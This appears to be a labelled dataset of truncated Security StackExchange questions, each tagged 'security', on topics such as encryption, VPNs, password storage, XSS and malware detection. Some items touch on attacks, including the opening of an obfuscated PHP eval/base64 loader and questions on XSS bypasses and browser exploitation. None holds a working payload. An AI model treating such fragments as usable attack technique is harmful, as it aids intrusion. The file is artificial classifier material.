it delivers what it promises. Is it actually safer to run programs inside sandboxie ? I know a full-blown VM could ... ",['security'] "Title: How should one prepare himself for a job interview for penetration testing? Body: So, the title basically says it all. I would really like to hear out some of the more experienced friends here with their answers for this. Should it revolve around the ability to verbally explain ... ",['security'] "Title: Route traffic from iphone to dektop and back Body: Iv'e got some iOS app to pentest, and the target server is accessible only through the iPhone APN. My problem is, that i want to configure the traffic in such way so i can intercept and tamper HTTP ... ",['security'] "Title: Requirement 12.1.2 of PCI DSS: Is it enough to point to a standard process? Body: Item 12.1.2 of PCI DSS requires that the company's security policy: 12.1.2 Includes an annual process that identifies threats, and vulnerabilities, and results in a formal risk assessment. NIST ... ",['security'] "Title: Is it possible to list folder from my web server if i have an empty index.html in the root folder? Body: I have a small mongoose web server installed on my machine. I have a empty index.html in the root directory. I want to be able to share link with people i know, by creating a folder that look like ... ",['security'] "Title: Sending secure information from app with ssl Body: I'm a web developer, but I occasionally step over into doing some mobile app development here and there. A client recently asked me to help them develop a very simple app. The app is essentially just ... ",['security'] "Title: Why Nessus freezes at 0% and how to fix it Body: Does anybody know why Nessus freezes at 0%. I am not sure that I've done the right configuration, but it is becoming painful How long approximately takes to scan one machine? Thank you ",['security'] "Title: “Premium SSL” vs “Stanard SSL” certificates - Any reason why I would want a “Premium SSL”? [duplicate] Body: Possible Duplicate: What are the advantages of EV Certificate? besides the green URL bar and free security scan and whatnot. Our website does NOT accept any personal info other than email ... ",['security'] "Title: Generating random passwords by clicking randomly on the keyboard? Body: How secure is it to generate random strings/passwords manually for different purposes by just clicking randomly on the keyboard ? I usually need random strings for salts and for passwords, and I ... ",['security'] "Title: How does processor architecture affect password hashing speed? Body: Does hashing speed vary significantly using different architectures (x86 vs ARM)? Scenario I am investigating the possibility of using a cluster of Raspberry Pi for cracking passwords hashed with ... ",['security'] "Title: Is it secure to use ChangeHats for Web Application? Body: I was reading an article on ""Profiling Your Web Applications Using ChangeHat"" where change hats mean to use different security context for different portion of application. Following are lines taken ... ",['security'] "Title: Are there modules to harden Symfony 2 sessions? Body: We're looking at building a new app on top of Symfony 2, but security is our top priority. After digging around a bit, it seems that there are a number of built-in options for Session management (eg ... ",['security'] "Title: From a security standpoint should users be asked to confirm their password when registering? Body: Is it advisable to have users re-type their password to confirm it's correct? On User Experience the general consensus seems to be no but I'm wondering if this has security ramifications? EDIT: my ... ",['security'] "Title: What are the differences between ssh generated keys(ssh-keygen) and OpenSSL keys (PEM)and what is more secure for ssh remote login? Body: I have learned there are 2 methods to make SSH remote login easier and secure , those are; ssh generated keys (using ssh-keygen)OpenSSH Keys PEM (.pem) keys usually generated with OpenSSL (Amazon ... ",['security'] "Title: Reverse engineering and Java Body: Is java class file or jar file is easy to reverse engineer? Because java generates a class file after compilation and not exe files. Is jar and class files are easy to decompile compare to c# and C++? ... ",['security'] "Title: How to capture packet using agent in JADE (Java Agent Development Framework)? Body: I need to design an IDS using Mobile agent. Can anyone suggest how packet capture software is efficient in JADE, how to match the captured packet for intrusion? ",['security'] "Title: Mutual authentication for humans Body: Is there any way for two people to securely authenticate each other without access to any special software (like PGP)? For example, when speaking over the phone or by sending SMSes to each other or ... ",['security'] "Title: Why can you bypass restricted WiFis by adding “?.jpg” to the URL? Body: I recently read an article on Hacking a commercial airport WLAN. It's basically about circumventing paid airport WiFi redirections (they redirect you to a certain URL when you type something in the ... ",['security'] "Title: Is There a Premium Rate Phone Check? [closed] Body: Is there a way, online or otherwise, to check if a phone number is a premium rate number which will charge my bill? It seems there should be some way to do this with certainty. Can phone numbers be ... ",['security'] "Title: How to treat non-optional bad security questions? Body: Every once in a while I have to set up an account on a site that, while apparently at least not storing my password in plaintext, still force me to choose from a limited set of security questions that ... ",['security'] "Title: default.php file found on the server, is this a security threat? Body: I found a file named ""default.php"" on the server with following code eval(gzinflate(base64_decode( ... ",['security'] "Title: Completely mimimise the possibility of my web hosting account being hacked Body: I've just moved web hosting providers and I want a fresh, secure start. To a certain extent, I don't mind what I have to do I'm just fed up my account being hacked or infected. I just wondered how to ... ",['security'] "Title: Desktop API Security Body: I have a Desktop API written in C++. Within this API I call a REST API to register with my service (using typical email user validation). The REST API is protected with a ID and SECRET; the requests, ... ",['security'] "Title: Is a company responsible for a spam which mentions it? Body: Let's say I receive a spam which mentions a fictive company printmycatphotos.com. If I follow the link, upload files, and finalize the transaction, clearly printmycatphotos.com has made some profit. ... ",['security'] "Title: jasypt message integrity Body: I've been looking into ways to encrypt an authentication token that I need to pass from one site to another. Things i have learned so far are use a high level library. don't use ECB use a HMAC to ... ",['security'] "Title: Secure PHP upload form & storage Body: I am building a PHP application that allows uploads of files (.doc/pdf etc) for review by a staff member. Some of these files will be somewhat confidential so I need to protect them. Now the best ... ",['security'] "Title: How Involved Should a Developer Be in Designing a Security Policy? Body: I've been developing software for well over 20 years. During that time I've worked in Fortune 100 companies that had very specific security requirements developed by dedicated security professionals ... ",['security'] "Title: Connections through Firewalls explained Body: I'm looking for a good explanation of how connections work through firewalls. I've got the idea of packaging(encapsulating) some protocol inside another one as its payload when tunneling. But what I ... ",['security'] "Title: Does the VPN provider know my dedicated IP? Body: Is it ok for a VPN provider to ask a new costumer to send a log file in order to solve a login probelm? I trusted him and sent him a log file because he said that would be the best way to see why i am ... ",['security'] "Title: Disadvantages of HTTP GET/POST Flooding Attack? Body: I asked about What is HTTP GET/POST Flooding Attack? recently and I got a few detailed answers about what they are and how they work. Now I want to find out what are the disadvantages of them. ",['security'] "Title: Why are my gpg public key on my machine and on the key server different? Body: When I generated my PGP key using GnuPG, I had saved the public key as an ASCII version and uploaded that to the server. Now I can see the key on the keyserver but they are different blocks of data. ... ",['security'] "Title: Sucuri giving false positive with their free online scanner because of an .htaccess RewriteRule Body: I'm not sure where to ask this Question - here, SO, Webmasters.SE, somewhere else? Please migrate if appropriate. tl;dr: The following rule in my .htaccess is causing Sucuri's free online scanner to ... ",['security'] "Title: SSD Encryption - Difference between models Body: I understand that most SSDs which support encryption usually encrypt all data, but that only some actually encrypt the encryption key with a user BIOS password. This means that the models which don't ... ",['security'] "Title: is it easier to get the original password if you have multiple hashes of it? Body: Most users tipically use the same password for multiple applications. Let's say all of these applications hash the password in some way. Would it be easier for an attacker to get the original password ... ",['security'] "Title: Quick Security Mitigations to Impending attacks Body: Suppose you are the sysadmin, and you know of an impending attack that just started or about to start soon. You can either wait it out, or try a few tricks and quick mitigation to fend off attackers ... ",['security'] "Title: Full Disk Encryption within a VM, how secure is it? Body: Just a quick query on basically how to secure a VM for a home computer for a number of uses (such as securing work related data in a good enough fashion whilst in its native environment). I'm not ... ",['security'] "Title: Can an attacker guess my password length from a hash? [duplicate] Body: Possible Duplicate: Possible to detect password length from hash? Is doubling your password adds more security? Considering I do not provide him any personal information relating to it, are ... ",['security'] "Title: Incoming Packet From Source Port 80 Body: I'm sure no daemon or browser is using network resources, but I found incoming packets from Wireshark: 98.126.43.174 source port 80 --TCP--> MyIp destination port 339 [SYN, ACK] 98.126.43.174 ... ",['security'] "Title: XSS risk for an application which can be accessed from localhost only Body: I have an web app which can used via an browser. The web app can be accessed on localhost only. No remote access is possible. A security tool discovered an XSS issue. Now if this web app is works only ... ",['security'] "Title: is RDP7.0 authentication process secure enough? Body: Latest version RDP used NLA, CredSSP and TLS to secure the authentication process. It sound like secure but in reality does it really secure enough. I knew that the previous version RDP is ... ",['security'] "Title: Is this code harmful? Why? Body: Code: http://pastebin.com/kJ8ZGP82 That code gets retrived from http://ui.sidepage.co for every HTTP page I visit (not HTTPS) and load it into the body tag of the page. Is it harmful in any way? ... ",['security'] "Title: How can I tell if a PPTP tunnel is secure? Body: PPTP has been demonstrated to be broken in many ways, and most installations are insecure. But it is also theoretically not broken if configured correctly. As an end-user, is there a simple way for ... ",['security'] "Title: SSH: reusing public keys and known-man-in-the-middle Body: Usually, people recommend to use a single private-public key pair everywhere (if we're not talking about a possibility of compromising the private key): Best Practice: “One per-user ssh key” or ... ",['security'] "Title: SSL Certificate Authentication Issue 403.7 Body: I have been trying to configure SSL for authentication and was unable to resolve this error 403.7 on IIS 7.5 windows 2008r2 vps server. I would like to give access to few computers where client ... ",['security'] "Title: Comparsion Between AppArmor and Selinux Body: I was reviewing several different comparison of AppArmor and Selinux which include Why I Like AppArmor More Than SELinux SELinux and AppArmor: An Introductory Comparison From these articles I ... ",['security'] "Title: What are darknets, and how can they be used to provide security and anonymity in network communication? Body: One of the major problems with the internet is that it's difficult to stay anonymous while retaining the ability to communicate with a large number of people. While encryption can be done effectively ... ",['security'] "Title: Law & Ethics - I'm not be breaking the law its the computer [closed] Body: So it would be illegal to run a metasploit attack against a computer you don't have permission to do so against, right? But what if I configure a web server to nmap scan, then metasploit attack ... ",['security'] "Title: Swap file may contain sensitive data Body: Is it possible that the swap file will contain chunks of data by a file you have accessed, and could this be detected during a forensics analysis? How could you prevent this situation ? Is using ... ",['security'] "Title: How does a developer interact with Microsoft Certificate *Web Services* Body: Microsoft Certificate Web Services is a HTTPS web service (WS-Trust) that has no Kerberos dependency and can be used on a variety of devices. This is new in Windows 2008 and is separate from the ... ",['security'] "Title: is there better email, file, disk encryption than PGP? [closed] Body: Currently, I am using Symantec's PGP desktop whole disk encryption for my Mac. After hearing that FileVault was insecure and supposedly easily crackaable. However, PGP has been around for a long ... ",['security'] "Title: How to generate a highly unpredictable random bytes Body: void vncRandomBytes(unsigned char *bytes) { int i; unsigned int seed = (unsigned int) time(0) + getpid() + rand(); srand(seed); for (i = 0; i < CHALLENGESIZE; i++) { bytes[i] = (unsigned ... ",['security'] "Title: how to secure my login user id and passwords specially for facebook [closed] Body: i think they hack me with facebook cookies. i dont get what exactly is going on with me. every time i get the login notification from another ip location.i want to secure my cookies and i wanted to ... ",['security'] "Title: Generating Web Application Security Profile Body: Currently i have deployed ModSecurity as a reverse proxy for providing application layer security. Now i want to write application specific rules for all the web application i am protecting i.e. ... ",['security'] "Title: How easily could be truecrypt and EFS cracked in this scenario Body: I suspect some info was subtracted in the past months from my laptop. Therefore Im looking for methods to encrypt my data. I want to try using truecrypt for the sensitive files folder plus EFS for ... ",['security'] "Title: What is the technique to determine if a user is “reading” a page called? (similar to “infinite scroll”) Body: When I read an article at Salon.com I notice that the ""overflow content"" (where I need to scroll down) is loaded on demand. I can't imagine this being a useful bandwidth savings technique, so the ... ",['security'] "Title: Defense in depth vs low complexity - Balancing point? Body: I've asked a few questions relating to schemes for various security-related functions, and posited schemes to accomplish those goals. In the responses, I see a conflict between two fundamental ... ",['security'] "Title: How to regain access to the server? Body: I have a Debian server with KVM available 24/7. It was recently broken into and its root password changed. My hosting provider has restored my access and helped me change the password. But in the ... ",['security'] "Title: Securing Isolated AWS Deployments to comply with HIPAA/HITECH Body: HIPAA Security Hounds...How would you view an AWS deployment that included a set of systems deployed together at AWS (within a single, secured Virtual Private Cloud), using a key to encrypt all ... ",['security'] "Title: Should email verification links be 'time limited' after user registration? Body: Regarding web application user management, I understand that password reset links are effectively ""password equivalents"", and therefore it makes sense to limit them to one use only and also make them ... ",['security'] "Title: What is HTTP GET/POST Flooding Attack? Body: I want to know what is HTTP GET/POST flood attack and what are their major differences and mitigation strategies ? I searched a lot but I really can't find some good articles nor examples about this ... ",['security'] "Title: How to remain 100% anonymous on the internet? Body: I was searching for methods or tools to remain completely anonymous on the internet. TOR came up but it is seems that it is far from perfect. Are there any 100% foolproof ways ? Or approximately 100% ... ",['security'] "Title: Implications of having a service account in AD use RC4 rather than AES for Kerberos? Body: Bear with me, I know this is sloppy, but here is the back story: We have a partner that uses Jira and is using spnego with a custom auth back-end that expects certain group membership in the token. ... ",['security'] "Title: Implementation review - Independent key, admin side and user side Body: The admin of the website needs to read user data. So, if the key is derived from the user pass, then the admin has to know the user pass, not exactly a good idea. The following encryption scheme was ... ",['security'] "Title: Methods for remembering passwords around the web Body: What's the least painful way to manage passwords for user accounts that you have on various sites? I see only 3 options: Password manager. Passwords can be different and strong, but the downside is ... ",['security'] "Title: Setting up a security CTF server Body: I'm looking for resources and information from people who have experience running hacking capture-the-flag challenges. To sum it all up in a simple one-sentence question: How do you set up a server ... ",['security'] "Title: How to find a reliable private mail drop or ghost address provider? (Not CMRA) Body: A mail drop or ghost address is an entity that can receive mail in your name. For a little more on why would you want to do this, see JJ Luna. A CMRA stands for a commercial mail receiving agency. ... ",['security'] "Title: Is privacy a part of security? (Bruce Schneier) [closed] Body: From this talk: http://vimeo.com/8053634, around 35 minutes he argues that privacy is part of security. What is your take on that? Are privacy questions on topic on this board? ",['security'] "Title: openssl: recover key and IV by passphrase Body: A large amount of files were encrypted by openssl enc -aes-256-cbc -pass pass:MYPASSWORD Openssl should derive key+IV from passphrase. I'd like to know key+IV equivalent of that MYPASSWORD. Is ... ",['security'] "Title: How do you know a computer is not compromised when you first get it? Body: How do you know a computer is not compromised when you first get it? How do you know that manufacturers have not intentionally built vulnerabilities into the system? ",['security'] "Title: Is Yahoo SignIn Seal effective at phishing prevention? [duplicate] Body: Possible Duplicate: Effectiveness of Security Images Information about the efficacy of Yahoo's SignIn Seal is scarce, the best I could find was this section on Wikipedia's entry on ... ",['security'] "Title: Will SHA1 of Email Addresses Always be Unique? Body: We want to store data about a person without storing their email address, but we want to latter connect that person with their data upon them supplying their email address. Storing a SHA1 of their ... ",['security'] "Title: How can I tell whether this computer is part of a botnet? Body: One of the computers that I manage (in the family, not business) has a weird set of files in its boot: bash.exe, curl.exe, uname.exe, sed.exe, rm.exe, tail.exe, cut.exe, awk.exe, cat.exe, chmod.exe, ... ",['security'] "Title: Anyone out there using Umbrella from OpenDNS? What exactly is it? Body: I'm still looking for a centrally-managed AV/malware management system and I've been testing out both Panda and Webroot (due to their 'cloud-based' structure that doesn't require a server for me to ... ",['security'] "Title: Is it possible for a third party to sniff data off the line to an ISP and determine what the user is doing? Body: Can somebody hack the line between my router and service provider and monitor what I'm doing online and what sites I'm visiting? ",['security'] "Title: Breaking out of attribute in double quotes Body: I have a piece of code that allows for [url]someurl[/url] BB-Code and replaces it with <a href=""someurl"">someurl</a> It takes two precautions to prevent XSS. It replaces ... ",['security'] "Title: Reporting a GMail hacker attack Body: This morning I found 17 e-mails in my GMail outbox that I didn't send. The e-mails were sent to seemingly random people from my GMail contacts and contained the link to a suspicious php file on ... ",['security'] "Title: Is this a security flaw in Firefox 18.0? Body: I had a couple of .mht files which opened in IE, a browser I never use. I renamed their extension to .HTML to run it in Firefox. When I opened the file in Firefox, Firefox created new tabs endlessly. ... ",['security'] "Title: Browser security - Firefox + NoScript is better than Google Chrome? Body: I saw that NoScript + Firefox combination blocks all ""dynamic content"" (especially those spammy ads). I really like that. It reduces the chances of being exploited. But, chrome only asks me to allow ... ",['security'] "Title: Encrypting local HTTP traffic using a self-signed certificate Body: For the past couple of hours I've been trying to create a self-signed certificate which I'd like to use to encrypt HTTP traffic between computers and a server on my home network (because I'm paranoid ... ",['security'] "Title: How disable Java in Chrome 23? Body: Well in case someone doesn't know yet... there is a new Java zero day. I'm trying to disable it on Chrome but I can't find any option. Google searches says that the option for deactivate it is on ... ",['security'] "Title: Disabling authentication via DSA keys in OpenSSH? Body: How can I disable DSA and ECDSA authentication on my server with OpenSSH 5.9? Sifting through the documentation material and doing a web search didn't yield any results - only an old bug report for ... ",['security'] "Title: Looking for password manager in company Body: I was looking for solution everywhere, but maybe because lack of specialized words I can't find it. I've got a problem in finding a program, but I don't know how to describe it in one word so I'll ... ",['security'] "Title: How to analyze server crash dump after recent patch update? [closed] Body: I want to know, if there a way I can identify on windows systems an event / log generated due to patches incorrectly installed / or corrupted in the process. Is there a way I can process or look ... ",['security'] "Title: How is Tor secure? Body: If Tor is open source and thus its process of concealing your IP is known, then how does it keep anything secure? Couldn't someone look at the source code and figure out how to reverse the routing ... ",['security'] "Title: Where do I get started in terms of learning how to exploit Java and Flash vulnerabilities? or browser exploitation in general Body: Another Java 0day was discovered today which got me thinking how browser exploitation (remote execution on clients browser) works. I am unable to find any books or resources online about browser ... ",['security'] "Title: Difference between masquerading and replay attacks? Body: I know that masquerading is to impersonate a false identity and replaying is the same wherein unauthorized person uses the credentials of the authorized one to have the privileges.Then what is the ... ",['security'] "Title: Can real end-to-end SSL encryption be made? Body: I've read the various questions tagged [ssl] and [mitm] and [proxy] and I couldn't find a duplicate. I've got a very precise question but first I need to give some background. Basically I'm very ... ",['security'] "Title: What damage could be done if a malicious certificate had an identical “Subject Key Identifier”? Body: I'm looking at the the Subject Key Identifier attribute of a CA certificate and am trying to understand the role it plays in validation and infer how validating client software could get it wrong. ... ",['security'] "Title: Enterprise standard for securing servers. Body: This must be the most broad question to ask, but through the years, i've come up with my own list of things I so to secure my servers, I follow the obvious steps I could gather online such as, ... ",['security'] "Title: How safe is “trust this computer” option for websites? Body: Many sites have a ""trust this computer"" option that allows one to bypass some security measures (ex.: with Google's 2-step authentication enabled, one does not need to enter the phone's code if the ... ",['security'] "Title: Portable KeePass and TrueCrypt Body: I ran some advice on the nets: Don't reuse your passwords. Make sure all the passwords you use are different. Use a password manager. An example is ""Keepass"". Set the master password to something ... ",['security'] "Title: Detecting PRNG Use from Output Body: Question: Is there a way to detect the use of a PRNG strictly from observing the output provided by an application? Background: During an audit of a key generating algorithm that I knew was based on ... ",['security'] "Title: Writing malware in java? Body: To me, it seemed like malware could never be written in java. Those who taught me java said it was ""secure"" and did not allow ""low-level access"" like c,c++. But, I discovered that it can be done - ... ",['security'] "Title: WLFriends encrypted login risk Body: I recently had created on WLFriends.org which is presented by Wikileaks, I noticed a big thing there that the process of signing up at WLFriends was very distinct from the other normal sites. There, ... ",['security'] "Title: What is the most secure way for two people to communicate? Body: There are various services on the internet that offer secure communications. Typically in the past if I want to share some sensitive information with someone, I will do so over a Cryptocat chat ... ",['security'] "Title: If we know CAPTCHA can be beat, why are we still using them? Body: If we know CAPTCHA can be beat, why are we still using them? A 35% to 90% success rate like wikipedia is stating means software is better at solving CAPTCHAs then I am. ",['security'] "Title: Extensions for SSL server certificate Body: I have some question about the X.509 v3 extensions. What extensions should appear in a proper certificate for a SSL server ? ",['security'] "Title: Accessing encrypted data with multiple users Body: I'm building a web based, LDAP authenticated password manager for internal use. We don't want to store the passwords in plain-text in the database, and we want multiple users to be able to access the ... ",['security'] "Title: Any suggestions while testing a sandboxing driver? Body: I am doing penetration testing of a sandboxing driver and trying to break the sandbox. It is implemented as a kernel mode driver. A sandboxed process will have : A whitelist of disk locations for ... ",['security'] "Title: Different types of segmentation faults in Linux [closed] Body: In Linux, when the NX-bit triggers the segmentation fault seems to be ""error 15"", whereas a more typical error, such as attempting to read from invalid memory, results in ""error 7"", (seen from dmesg ... ",['security'] "Title: Slot machine segfault: what can we determine? Body: We walked into a casino and saw this near the entrance. I don't have a specific question, but is there anything that would be interesting to share and explain from the image? ",['security'] "Title: Is an AIA or CRL useful / required at the Root CA if that Root is used to cross certify another PKI? Body: Suppose I have several independent PKIs that are used Two internal PKIs: One with SHA1 support the other with Suite B algorithms. A partner who I trust and have a policy map with. Since both my ... ",['security'] "Title: GPG-encrypted mailing list and other approaches to safe communication Body: What is the best way to communicate privately on a mailing-list? Requiring each member of the list to have the public key of each other member, and encrypt their messages with those, is cumbersome to ... ",['security'] "Title: What tools can be use for Security Auditing for Redhat Body: Are there any good tools that can be used for Security auditing of Redhat Linux. That can audit all the critical areas of System and provide the detailed output of all the audited sections. ",['security'] "Title: How to test security of an encryption algorithm? Body: What are the standards methods to test the quality of an encryption algorithms. Secondly if i am trying to implement an encryption algorithm then what practices should i adopt? ",['security'] "Title: Storing Private Keys Generated on Server with specific User's Password Securely Body: I am currently building a system (PHP Web Application Framework) that creates an RSA Key Pair for a user to allow other users to send secure information from one to another. The public key is ... ",['security'] "Title: How to solve race condition in 2-factor authentication solutions like RSA Security tokens or Google Authenticator? Body: One of the reasons we opt to use 2-factor authentication is to minimize the impact of keyloggers. The theory is that even if an attacker is able to observe the user type in the token numbers, they ... ",['security'] "Title: A Different Approach to PKI Body: After yet another failure of the public key infrastructure, I was thinking about how broken the whole thing is. This business of undeniably associating an identity with a public key, and all the work ... ",['security'] "Title: Does Authenticode still work offline and with a “fake” certificate Body: Here's our story: We're developing some software (written in C#/.NET) and we're already signing the assemblies with strong names, I do this in Visual Studio with a pfx file that is protected by a ... ",['security'] "Title: How to Investigate Wi-Fi Intrusion and where to look for evidence? Body: I'm trying to figure out how to configure a network so that I can tell what an intruder did (in the past) while on the network after they are detected. eg. If someone with a wi-fi enabled laptop ... ",['security'] "Title: URL Shortening - How to verify if it is a non-malicous URL? Body: Again, I must mention that I have just started to learn about security. So, please bear with my newbie questions. If I receive a shortened URL from somewhere, say in an my-email or in a social media ... ",['security'] "Title: Does IPv6 without NAT allow my ISP to identify/monitor/limit the number of devices in my network? Body: Does switching to IPv6 without any NAT mean my that ISP can identify/monitor/limit the number of devices in my private network more than they can with NAT (which is a necessity in an a private ... ",['security'] "Title: What are the security implications of Digital Lifeboat (or other p2p storage solutions) Body: From Digital Lifeboat's about us section Our solution is a distributed storage cloud service. Digital Lifeboat will compress and encrypt each file selected for backup. We then process your ... ",['security'] "Title: How do I verify, parse and process the results of the HTML5 keygen tag? Body: I'm investigating the HTML5 attribute Keygen and discovered that it sends this data on a Form POST to the server. Here is an example POST: ... ",['security'] "Title: Unable to secure my site [closed] Body: I am php developer. I have enabled Captcha and CSRF tokens but still some one is inserting random values in my database. Please give me an idea about how anyone can insert junk values in my database ... ",['security'] "Title: Is this code vulnerable? Body: I have developed a php code given below. I would like to know what are the security vulnerabilities present within this php code? <?php if(isset($_SESSION['id'])){ // get data ... ",['security'] "Title: Building a Security Training Simulation environment Body: My university is keen to build a security training simulation environment/platform and it will be a good learning experience for students. I Googled around to find out how it is built, but I only ... ",['security'] "Title: Closing an HTML tag without using the actual character Body: I'm currently learning how to perform XSS on websites, but there is a constant problem that keeps recurring that I'm sure must be easy to bypass. Quite often, the website will filter out quotation ... ",['security'] "Title: What is a DNS leak? Body: I'm planning on getting a VPN service (probably Privateinternetaccess) and read that it is imperative to plug DNS leaks. The only information I found on google describing what these are is here and I ... ",['security'] "Title: Any real world examples of GPS location data being used with authentication? Body: Are there any examples of how GPS coordinate (or any location data really) can be used to detect suspicious locations or validate well known locations? Specifically Highlighting new or unusual ... ",['security'] "Title: Attacks in SSL and SSH Body: I have a question Assume that we have two end-host A and B connected by two routers R1 and R2. A wants to send a large file to B. 1) A decides to establish ssh connection with host B using public ... ",['security'] "Title: How to track down an IP spoofer? Body: We just installed a SonicWALL NSA 3500 and I've noticed a few times per day there will be an alert entry like this: Time: 01/02/2013 9:00:41.000 Priority: Alert Category: Intrusion Prevention ... ",['security'] "Title: Is SiteKey a valid defense against Phishing? Body: As described here, some banks use a SiteKey mechanism in an attempt to provide a defense against phishing. The comments and answers indicate some issues with this approach, but that question wasn't ... ",['security'] "Title: How should I safely display my phone number on my Website? Body: If I display my email address on my Website, I would probably receive a lot of Spam, so I can set up a contact form instead. If I want to display my phone number, how can I prevent unwanted phone ... ",['security'] "Title: Strongest cryptographic algorithm available in PHP 5.3 Body: Which options are available in the default installation and which ones by third-parties like extensions or frameworks? P.S. By Cryptography I mean algorithms which could be decrypted, not one-way ... ",['security'] "Title: Security of NoSQL databases Body: Hopefully this isn't too broad. I've got little experience with NoSQL databases, but I know that they are rising in popularity. As a developer that is extremely concerned with security, I'm ... ",['security'] "Title: Is bcrypt better than scrypt [duplicate] Body: Possible Duplicate: Do any security experts recommend bcrypt for password storage? I'm no security expert and do not pretend to be that's why I'm asking here. I write many PHP based ... ",['security'] "Title: Is there any way to list the contents of the iPhone/OSX Keychain and their security level? Body: I have a few apps that I purchased from the app store that probably store information in my keychain on OSX and on the iPhone. Since it's possible for keychain items to be bound to a device (and ... ",['security'] "Title: Security comparsion of 3DES and AES Body: Which one is more secure and least possible to be broken through cryptanalysis AES or 3DES (no matter performance)? I need to use encryption for my projects to store and secure sensitive information ... ",['security'] "Title: How do I holistically protect a web service from network and MITM attacks? Body: I have several financial web services that are accessed over HTTPS, however the client devices may be accessing the web services over untrusted WiFi, through questionable proxies, and possibly ToR ... ",['security'] "Title: unix malicious scripts/ksh execution Body: I'm wondering whether my architecture poses a security risk. Details: The whole website is not ROOT owned but still, the APACHE user used instead has some pretty advanced permissions. I have a ... ",['security'] "Title: Do client certificates provide protection against MITM? Body: I'm looking for a way to protect clients from a MITM attack without using a VPN, and ToR. My thought is that client certificates might do the job, but I'm not entirely sure since not too much server ... ",['security'] "Title: Is Data Remanence a Myth? [duplicate] Body: Possible Duplicate: Why is writing zeros (or random data) over a hard drive multiple times better than just doing it once? Multiple overwrites have often been discussed as a secure way of ... ",['security'] "Title: How does the YubiKey Validation Server work from an encryption perspective? Body: Many YubiKey servers rely on the free cloud hosted authentication that comes with the product, but I'm interested in keeping all cryptographic material in my control. For that reason I am looking at ... ",['security'] "Title: Who should I use for auditing/cerifying server software or specific deployment Body: Background: our company provides an online service. The service is provided both to general public, and to enterprise customers. Enterprise customers are signed on as part of sales efforts. We have ... ",['security'] "Title: How big is the risk of hash fixed points/cycles? Body: It's established wisdom to hash password multiple times with a salt to increase the time it takes per brute force iteration. At the same time (unless the algorithm guarantees otherwise) there's a ... ",['security'] "Title: Combining MAC and Encryption Body: What is the most preferred and secure way of combining both Encryption and MAC. There was a lecture on different combining strategies adopted by different protocols on a cryptography course by ... ",['security'] "Title: How can hotels securely receive your credit card details (for a custom, one-off payment)? Body: A hotel belonging to a large chain (400 hotels in 60 countries) has just requested me to send my credit card details via standard (unsecured) email. I have negotiated a deal for accommodation with ... ",['security'] "Title: Xbox 360 Security - Why must you be the data owner to move content? Body: Xbox 360 does not allow you to move content (such as to a usb), unless you are the owner of the content (Same gamertag as save file). This seems pointless considering, I can simply sign into any ... ",['security'] "Title: How to evaluate the strength of a hashing algorithm? Body: At work the hashing algorithm we use for passwords appears to be bespoke. Obviously that's a pretty bad idea, but the management don't seem bothered. The algorithm always produces 20 character long ... ",['security'] "Title: Generate user a password instead of asking for one? Body: I'm trying to weigh the benefits of not allowing users to create their own passwords, but must pick out of a generated selection. Are there any examples of sites that use this approach? Workflow ... ",['security'] "Title: What makes PINless Wi-Fi Direct using WPS on Android secure? Body: I've read from Wikipedia that Wi-Fi direct uses WPS (Wifi Protected Setup), and I know that in Android (at least what I have which is 4.0.1 on Galaxy S3) uses the WPS method of the ""push button"" to ... ",['security'] "Title: Identify a process that uploads data Body: I am using the tool ""Internet Traffic Agent"" to monitor my in- and outbound traffic. It shows me clearly that over a period of approx. an hour, some process on my machine is uploading data, about ... ",['security'] "Title: Is it likely that security authorities track downloads of pen-testing related software? [closed] Body: Lots of security related software, like backtrack and metasploit, can be used for illegal purposes. Is it likely that national security organisations (e.g. federal police) track the downloads of such ... ",['security'] "Title: What's most standard way to secure internet connections and protect privacy? Body: It's common knowledge that Wi-Fi, or other Internet connections, should be encrypted via a VPN to be secure, and to hide our real IP address from intermediary network observers. However, one can't ... ",['security'] "Title: How to restrict web access to certain countries Body: What are the better ways of filtering access to the web application based on Geographical location. Is it possible with a network layer firewall or we need an application layer? ",['security'] "Title: What does scorecardsresearch.com/beacon.js - added by Disqus.com - do? Body: I recently added Disqus to my site. Looking at the ""scripts"" tab on Firebug, I noticed a script called, http://scorecardresearch.com/beacon.js (here is a prettified version - the script is not ... ",['security'] "Title: Forged SSL without installation of root CA, possible? Body: Consider visiting a secure website like Gmail. Is it possible to forge the website certificate only by having full control over the internet provider? I mean is it practically possible for a provider ... ",['security'] "Title: Security threats of wireless charging? Body: It is well known that plugging your mobile device for charging in public/uncontrolled places through Micro-USB can be a security hazard. USB protocol supports much more than just transferring power, ... ",['security'] "Title: How much should I care about the iOS/Android version when pentesting mobile app? Body: Lets say I am performing penetration testing on mobile application, How significant is the version of operating system I am using while running the application? I.e. if I test mobile application ... ",['security'] "Title: Doesn't adding requirements to a password, such as must contain 2 digits, decrease the strength? [duplicate] Body: Possible Duplicate: Doesn’t imposing a minimum password length make the password weaker by reducing the number of possible combinations? Doesn't any constraints added to a password policy ... ",['security'] "Title: How I add cookie to w3af for authenticated attacks? Body: Can anyone explain this in steps to me? Lets just say I clicked to OWASP Top 10 scan profile and entered url. Next I need to add cookies or authentication values to w3af (form based auth.). How? ... ",['security'] "Title: Future proof encryption possible in theory? Body: Let's say I have a message that I want to keep safe for the next 100 years. Is it theoretically possible? Let's say the message is unique (raw picture data, raw video video data, raw text data) and ... ",['security'] "Title: Configuration for a server [closed] Body: I would like to configure a server and need guidance in assembling a server. I do not wish to spend much but at the same time I do not wish to compromise on performance. The purpose for my server ... ",['security'] "Title: At what level of abstraction should a developer work with with regards to cryptography? Body: I have recently came across an old blog post by Jeff Atwood which got me thinking. What could be easier than a EncryptStringForBrowser() method which has security and tamper-resistance built in, ... ",['security'] "Title: Why Adobe is recommending McAfee security scan during flash player installation? Body: Why is Adobe recommending a McAfee security scan during the installation of flash player? ",['security'] "Title: How can I explain the concept of public and private keys without technical jargon? [duplicate] Body: Possible Duplicate: Principle of asymmetric algorithm in plain english In the spirit of How can I explain SQL injection without technical jargon?, do you have any suggestions on how to ... ",['security'] "Title: How should an outgoing connection white-list be created? Body: I see my previous question was closed as duplicate of Why block outgoing network traffic with a firewall?. The answers that everyone agree with mention the value of blocking outgoing connections (to ... ",['security'] "Title: Security value of restricting ports for outgoing connections [duplicate] Body: Possible Duplicate: Why block outgoing network traffic with a firewall? Please provide a clear explanation of what the value would be for this? If you have set up a firewall that blocks all ... ",['security'] "Title: Is the use of JavaScript for cryptography ever appropriate in the browser? [duplicate] Body: Possible Duplicate: How secure is aSSL (javascript)? Does it effectively mimic SSL? After some searching around, I realized we don't have an easily visible canonical question about this on ... ",['security'] "Title: Honeyd: log grows too fast Body: I'm 